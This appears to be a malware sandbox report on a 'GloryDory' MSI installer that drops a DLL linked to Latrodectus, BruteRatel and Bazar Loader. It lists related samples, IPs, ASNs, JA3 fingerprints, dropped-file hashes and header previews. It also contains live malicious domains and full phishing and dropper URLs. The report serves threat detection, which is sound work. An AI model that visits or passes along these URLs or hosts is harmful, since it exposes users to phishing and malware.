	Document-19-27-03.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.97.3
	0.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.96.3
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.97.3
	Document-21-41-00.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.96.3
	x64_stealth.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.96.3
	7ii6VB6bo3.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	188.114.96.3
	x64_stealth.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.97.3
greshunka.com	Document-19-51-48.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	vierm_soft_x64.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	dsa.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	Document-19-27-03.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	0.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	Document-21-41-00.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	92.118.112.130
	CITROEN.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse	92.118.112.130
	x64_stealth.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	92.118.112.130
	7ii6VB6bo3.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	92.118.112.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SERVERIUS-ASNL	RfeGlbGe3t.exe	Get hash	malicious	AveMaria, UACMe	Browse	45.67.228.7
	Scan_PDF_5255303072.exe	Get hash	malicious	ScreenConnect Tool	Browse	188.119.113.59
	Scan_PDF_2017163298.exe	Get hash	malicious	ScreenConnect Tool	Browse	188.119.113.59
	He6pI1bhcA.exe	Get hash	malicious	ScreenConnect Tool	Browse	188.119.113.59
	5eRyCYRR9y.exe	Get hash	malicious	ScreenConnect Tool	Browse	188.119.113.59
	He6pI1bhcA.exe	Get hash	malicious	ScreenConnect Tool	Browse	188.119.113.59
	5eRyCYRR9y.exe	Get hash	malicious	ScreenConnect Tool	Browse	188.119.113.59
	qi2l3hPcRE.exe	Get hash	malicious	ScreenConnect Tool	Browse	188.119.113.59
	q07Xd63y5Y.exe	Get hash	malicious	ScreenConnect Tool	Browse	188.119.113.59
	dTKkoWZusB.exe	Get hash	malicious	ScreenConnect Tool	Browse	188.119.113.59
MIDNET-ASTK-TelecomRU	Document-19-51-48.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	vierm_soft_x64.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	dsa.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	Document-19-27-03.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	0.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.39
	failure.hta	Get hash	malicious	Unknown	Browse	82.115.223.234
	web3Interface.lnk	Get hash	malicious	Unknown	Browse	82.115.223.234
	71uf5c9puG.exe	Get hash	malicious	Unknown	Browse	82.115.223.228
	Nz0P9RlrUC.exe	Get hash	malicious	DCRat	Browse	82.115.223.136
CYBERDYNELR	ponos.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	80.78.28.83
	SecuriteInfo.com.Heuristic.HEUR.AGEN.1313656.13208.30309.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	80.78.28.83
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	46.246.44.223
	SecuriteInfo.com.Malicious_Behavior.SB.8937.18140.exe	Get hash	malicious	Unknown	Browse	80.78.24.250
	67gneXXY2P.elf	Get hash	malicious	Unknown	Browse	46.246.43.211
	attach#6081-18-03-2024.xlsx	Get hash	malicious	Unknown	Browse	198.167.201.153
	bin.elf	Get hash	malicious	PwnRig Miner	Browse	80.78.24.30
	http://5d1d57a7.28cb0c8c5155aeac03abaf42.workers.dev/?qrc=cHN0b2VsdGluZ0Btb29nLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	80.78.24.136
	https://url7923.marsello.io/ls/click?upn=Xn88PJeNIL29Y2OVpP6Ui-2FiJiLFhXN-2BaAoUhaFeS5thEexIiWqEF8dt08iW6JSqntxNZ_ZhPcx6WPs4ZPfYHsVw3kGc95DdiOlu2Hqu3wtZDfTdxDhqDrDyhN4LIHSWlo-2Bo5W6aEC693CmZYOUsRsAHZjNYMetybYb1uYwCQGuNUgutLCzNtMSdcaod8HflZ3qtLEYfvJ3h120nclv-2FPwWe4ZMuwG1g5FU0h57N477RbEMQV2-2FUVsni6xHvVTRhTmHDzgfD-2F3g-2BckOgde-2F51-2FeyDF08iaXxzVHgagCQPKWzGeSlI6hU-2B61MmZjONA8snu2jD66uyBw5PSnYyn0fMKgCqj-2FNBTJqL-2FTN8YlBx1uy4KooCKJiqFqcR8WxhpSnrzCOJa	Get hash	malicious	HTMLPhisher	Browse	80.78.25.211
	https://d511cad4.9a81985336ae1461f17112ae.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	80.78.25.211
CLOUDFLARENETUS	tMREqVW0.exe	Get hash	malicious	XWorm	Browse	104.20.3.235
	https://auth-owlting.com/enterprise/core.js	Get hash	malicious	Unknown	Browse	172.67.204.46
	https://wvr4dgzxxavl6jjpq7rl.igortsaplin.pro/WFzFCiNx	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://www.calameo.com/read/0077804248b46bb5a7c19	Get hash	malicious	HtmlDropper	Browse	172.67.204.105
	http://usaf.gov.ss	Get hash	malicious	Unknown	Browse	104.26.6.103
	wSVyC8FY.exe	Get hash	malicious	XWorm	Browse	172.67.19.24
	https://secured.viewonlineportalshared.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.18.95.41
	RfeGlbGe3t.exe	Get hash	malicious	AveMaria, UACMe	Browse	1.2.3.4
	https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html#9/372-16527/1270-243896-29108	Get hash	malicious	Phisher	Browse	104.21.32.108
	https://u9313450.ct.sendgrid.net/ls/click?upn=u001.ZfA-2BqTl2mXIVteOCc-2BANg-2BtYQAbYWaU-2BKDDWa611GxHig-2BgElXnUy1eAOeNoTI9ToS9WuAxRUdR21lAIsTPE0g-3D-3Dd8kL_bf4JG6rVotaFp8XsYJMcbHq5p6ju5xz6OkJFWJQMhev1YsQkFFV7zJr96yz5256BnjjwP-2FrVNKeomJDukUeXnM2-2FUbrpvrFpNFdN8Hxo-2B8NA1G5PPzQiWnVnq4RPrf4MxseS-2FjeJBGe3OOYXNXxDmns1gfYeFwrIC6tXtQ3KJv23PKABAyqpBB-2FnsXl7BropPMbry14s3UYpaAeg1aJih0NQeQpVSOm5MBDYOXEHCyJCtLrpoW6SuZeJlGeeWyYAhbotSAdFsjwH5JN5fjIYp-2BMzHm9VPykPI2oeKmW91mIcQqO5YJ1dVv925b7N0T1v	Get hash	malicious	Unknown	Browse	104.17.247.203

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	c84f2f8df965727bcdcc4de6beecf70c960ef7c885e77.dll	Get hash	malicious	LummaC	Browse	188.114.96.3
	0a839761915d.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	sqlite.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	Activator by URKE v2.5.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	hVLguQ1OyJ.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	RD4ttmm3bO.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Installer\MSIF101.tmp	Document-19-51-48.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	dsa.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	Document-19-27-03.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	Document-21-41-00.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	CITROEN.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	6ylVfr0IVw.msi	Get hash	malicious	Latrodectus	Browse
	Document-19-25-24.js	Get hash	malicious	Latrodectus	Browse
	vfs.msi	Get hash	malicious	Latrodectus	Browse
C:\Windows\Installer\MSIF160.tmp	Document-19-51-48.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	dsa.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	Document-19-27-03.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	Document-21-41-00.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	CITROEN.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	6ylVfr0IVw.msi	Get hash	malicious	Latrodectus	Browse
	Document-19-25-24.js	Get hash	malicious	Latrodectus	Browse
	vfs.msi	Get hash	malicious	Latrodectus	Browse

Created / dropped Files

C:\Config.Msi\4df20b.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.666842674497995
Encrypted:	false
SSDEEP:	24:hOgJsrvgTU68NWdhW/nHN9RpU6Wg2FP+WDhiSQ8lVWfLK:UusrIn8NWdhWPHN9b76P3D8S/H
MD5:	C9AB2AEB282DFE0099AE981249C33A4F
SHA1:	A5C65512BD2E34ACBA1829A10B6C5F049668E345
SHA-256:	5664B2DDF9539278B3437074D0383E16B10EB525549DAD7C83A38CD8EDCAC921
SHA-512:	33FEDD667AFDF245AA0370D98EDF9BE655492EB26AC85CAB611C3078C3A8BDC5B49B31267ED1C9694BCC824C4AEDEA089F245068A1FDF5E189F37209F089B84E
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@QuCY.@.....@.....@.....@.....@.....@......&.{68C54E68-8D6C-454F-B2BE-2596868E8867}..GloryDory..das.msi.@.....@...C.@.....@........&.{26C6701E-5BA5-48FD-87C5-16BC3575B429}.....@.....@.....@.....@.......@.....@.....@.......@......GloryDory......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{B48CC27C-9823-4256-8235-834BFD2D0DBB}&.{68C54E68-8D6C-454F-B2BE-2596868E8867}.@......&.{4A323D5F-6D73-4C26-8E39-BE8928DA13EB}&.{68C54E68-8D6C-454F-B2BE-2596868E8867}.@......&.{2B132521-4E05-4E2E-93F1-6029E2DAB7E0}&.{68C54E68-8D6C-454F-B2BE-2596868E8867}.@........CreateFolders..Creating folders..Folder: [1]#.:.C:\Users\user\AppData\Roaming\OrbitalMast LLC\GloryDory\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6].. .C:\Users\user\AppData\Roaming\....2.C:\Users\user\AppData\Roaming\vierm_soft_x64.dll....WriteRegistryValues..Writing system registry values..

C:\Users\user\AppData\Roaming\vierm_soft_x64.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	767488
Entropy (8bit):	7.207925663165308
Encrypted:	false
SSDEEP:	12288:/h/M5nsxW5fFcrGn7Q21Svj07MGpmeSM6q4LWYv1AoMJPPyogk31OkRK1OKeQeq:/rD+JPPn8kM1Oej
MD5:	B1CA25F5BB4EDD293B3711C77EB99A6F
SHA1:	178BBA8686EA329B884A652FE0F8A0AE0C53D367
SHA-256:	97A6331239D451D7DFE15BFE17DE8B419DF741AE68BACD440808F8B8D3F99B8A
SHA-512:	D5A282A8F81E117B79616C44A260D89C7FEE06F4AC1387675BC79C3BD7599A5D49FBE3D8FB3D4D42EEA81A17564ABC2D42288BC2DC468D1B16ED633BA421B32D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................Y...................G......G......G.....Y......Y......Y.......G......G......G......G.....Rich...........................PE..d......f..........# ...&.............Y.......................................0......R..... .............................................\|...<...(.......X6...p...C..H~...... ..........p...............................@............................................text...0........................... ..`.rdata...8.......:..................@..@.data....4...0......................@....pdata...C...p...D.................@..@memcpy_..............n..............@..._RDATA...............p..............@..@.rsrc...X6.......8...r..............@..@.reloc....... ......................@..B.......................................................................LfJGC6FArPDu4R9wt3v8YWSQNm7nxB2ZdHqjXsp..........................

C:\Windows\Installer\MSI7623.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {26C6701E-5BA5-48FD-87C5-16BC3575B429}, Number of Words: 10, Subject: GloryDory, Author: OrbitalMast LLC, Name of Creating Application: GloryDory, Template: ;1033, Comments: This installer database contains the logic and data required to install GloryDory., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	1669120
Entropy (8bit):	7.187836999350755
Encrypted:	false
SSDEEP:	49152:5Sj3YhW8zBQSc0ZnSKSZKumZr7A+zafUWM1q:oYY0ZnQK/A7fQ
MD5:	3CB6B99B20930AC0DBADC10899DC511E
SHA1:	570C4AB78CF4BB22B78AAC215A4A79189D4FA9ED
SHA-256:	EA1792F689BFE5AD3597C7F877B66F9FCF80D732E5233293D52D374D50CAB991
SHA-512:	AEDF58EA01D59CCE191CB9C0F83DBDBF7E3E8F049C764B577D6A957CB5229C50DDA7EC6760CA43AD4DBDB085AE02B07BC818F69CA08373243019AF6683E4931C
Malicious:	false
Reputation:	low
Preview:	......................>.......................................................E.......a...............................(...)......+...,...-...........A...B...C...D...E...F...G...........................................................................................................................................................................................................................................................................................................................................................<...........!...3............................................................................................... ...+..."...#...$...%...&...'...(...)......1...,...-......./...0...4...2...;...?...5...6...7...8...9...:.......=.......>.......@...A...B...C...D...........G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSIF101.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Document-19-51-48.js, Detection: malicious, Browse Filename: dsa.msi, Detection: malicious, Browse Filename: Document-19-27-03.js, Detection: malicious, Browse Filename: DLPAgent.msi, Detection: malicious, Browse Filename: Document-21-41-00.js, Detection: malicious, Browse Filename: CITROEN.msi, Detection: malicious, Browse Filename: DLPAgent.msi, Detection: malicious, Browse Filename: 6ylVfr0IVw.msi, Detection: malicious, Browse Filename: Document-19-25-24.js, Detection: malicious, Browse Filename: vfs.msi, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIF160.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Document-19-51-48.js, Detection: malicious, Browse Filename: dsa.msi, Detection: malicious, Browse Filename: Document-19-27-03.js, Detection: malicious, Browse Filename: DLPAgent.msi, Detection: malicious, Browse Filename: Document-21-41-00.js, Detection: malicious, Browse Filename: CITROEN.msi, Detection: malicious, Browse Filename: DLPAgent.msi, Detection: malicious, Browse Filename: 6ylVfr0IVw.msi, Detection: malicious, Browse Filename: Document-19-25-24.js, Detection: malicious, Browse Filename: vfs.msi, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIF1BF.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIF1DF.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIF22E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	401042
Entropy (8bit):	6.591849280749257
Encrypted:	false
SSDEEP:	6144:+MvZx0Flyv/UB8zBQSnuJnO6n4ZSaHwLvFnNLqrFWeyp1uBxfAOT3VDqO16:+MvZx0FlS68zBQSncb4ZPQTpAjZxqO16
MD5:	9FCEE1CA0E8FED4486A6EC3F186817BE
SHA1:	3A325D1CFE8A7116D24BC4A9103DF0554183FDDD
SHA-256:	A654A2E127843FB770B6FEB20EB0F7E14EC68AD58A27439E9B76DBD8DB56F780
SHA-512:	AE998EF41B62975697EDD261CA81DB52B1ACFF7FAB7C5D882CAEAA76E15CBCA5A854500B825706B9489F81F59FDB25C60B12E17F535EA3D7D5CA8121EC053D25
Malicious:	false
Preview:	...@IXOS.@.....@QuCY.@.....@.....@.....@.....@.....@......&.{68C54E68-8D6C-454F-B2BE-2596868E8867}..GloryDory..das.msi.@.....@...C.@.....@........&.{26C6701E-5BA5-48FD-87C5-16BC3575B429}.....@.....@.....@.....@.......@.....@.....@.......@......GloryDory......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{B48CC27C-9823-4256-8235-834BFD2D0DBB}:.C:\Users\user\AppData\Roaming\OrbitalMast LLC\GloryDory\.@.......@.....@.....@......&.{4A323D5F-6D73-4C26-8E39-BE8928DA13EB}..01:\Software\OrbitalMast LLC\GloryDory\Version.@.......@.....@.....@......&.{2B132521-4E05-4E2E-93F1-6029E2DAB7E0}2.C:\Users\user\AppData\Roaming\vierm_soft_x64.dll.@.......@.....@.....@........CreateFolders..Creating folders..Folder: [1]".:.C:\Users\user\AppData\Roaming\OrbitalMast LLC\GloryDory\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]...@.....@...

C:\Windows\Installer\MSIF29D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	399328
Entropy (8bit):	6.589290025452677
Encrypted:	false
SSDEEP:	6144:gMvZx0Flyv/UB8zBQSnuJnO6n4ZSaHwLvFnNLqrFWeyp1uBxfAOT3VDqO1:gMvZx0FlS68zBQSncb4ZPQTpAjZxqO1
MD5:	B9545ED17695A32FACE8C3408A6A3553
SHA1:	F6C31C9CD832AE2AEBCD88E7B2FA6803AE93FC83
SHA-256:	1E0E63B446EECF6C9781C7D1CAE1F46A3BB31654A70612F71F31538FB4F4729A
SHA-512:	F6D6DC40DCBA5FF091452D7CC257427DCB7CE2A21816B4FEC2EE249E63246B64667F5C4095220623533243103876433EF8C12C9B612C0E95FDFFFE41D1504E04
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................J......J..5.......................J......J......J..........Y..."......".q............."......Rich....................PE..L....<.a.........."......^...........2.......p....@..........................P......".....@.................................0....................................5...V..p....................X.......W..@............p.. ............................text....\.......^.................. ..`.rdata..XA...p...B...b..............@..@.data....6..........................@....rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5683445311085658
Encrypted:	false
SSDEEP:	48:y8PhTuRc06WXOKFT5dX2qSwYAErCyE9c7uSiHqSwmT3Nxv:dhT1MFTbX2qZnwCx4WHqZW
MD5:	85C56D88D6DF48C9A03823764F257EEB
SHA1:	F0E98723D2610D6AA633795DCF159A1198D23D4B
SHA-256:	C3ABF141B4A345CC34922264929B0C6DB8A0C5D8018116CA1B0A1C0C944B4CA9
SHA-512:	51756EF419DC69AE3478A7141E4E04F04F22EABC91332F924DA075E31F17809AE35399C22C1C37CB89B669B3795ACF46C90C54526B012DFB0955874131ED22FF
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF01B5DC13092BA872.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5683445311085658
Encrypted:	false
SSDEEP:	48:y8PhTuRc06WXOKFT5dX2qSwYAErCyE9c7uSiHqSwmT3Nxv:dhT1MFTbX2qZnwCx4WHqZW
MD5:	85C56D88D6DF48C9A03823764F257EEB
SHA1:	F0E98723D2610D6AA633795DCF159A1198D23D4B
SHA-256:	C3ABF141B4A345CC34922264929B0C6DB8A0C5D8018116CA1B0A1C0C944B4CA9
SHA-512:	51756EF419DC69AE3478A7141E4E04F04F22EABC91332F924DA075E31F17809AE35399C22C1C37CB89B669B3795ACF46C90C54526B012DFB0955874131ED22FF
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF07B80D9F27CBE04D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5683445311085658
Encrypted:	false
SSDEEP:	48:y8PhTuRc06WXOKFT5dX2qSwYAErCyE9c7uSiHqSwmT3Nxv:dhT1MFTbX2qZnwCx4WHqZW
MD5:	85C56D88D6DF48C9A03823764F257EEB
SHA1:	F0E98723D2610D6AA633795DCF159A1198D23D4B
SHA-256:	C3ABF141B4A345CC34922264929B0C6DB8A0C5D8018116CA1B0A1C0C944B4CA9
SHA-512:	51756EF419DC69AE3478A7141E4E04F04F22EABC91332F924DA075E31F17809AE35399C22C1C37CB89B669B3795ACF46C90C54526B012DFB0955874131ED22FF
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF28B4DE99F83A16D6.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2563734827764652
Encrypted:	false
SSDEEP:	48:NmLufPvGFXO7T5yX2qSwYAErCyE9c7uSiHqSwmT3Nxv:gL12TEX2qZnwCx4WHqZW
MD5:	0EFDF746E575A82FC3B2E37FC6F62063
SHA1:	F6BE1DB30500C516175EE4B6E7731BDA05872734
SHA-256:	82EEACF622F4F47B03069FAC6135EE2F93E48EF49F75E532894D0168CD7DA8AB
SHA-512:	4C8565344B1BD6FC30E56715E2E4D7D901102D1C8AF0ED0DBF91F34C6E42F5C5C0085904FB2113C0928455E33CE75D5331BBDC79AF56FE2F28298F26D32F9495
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF59A0B4535E503852.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
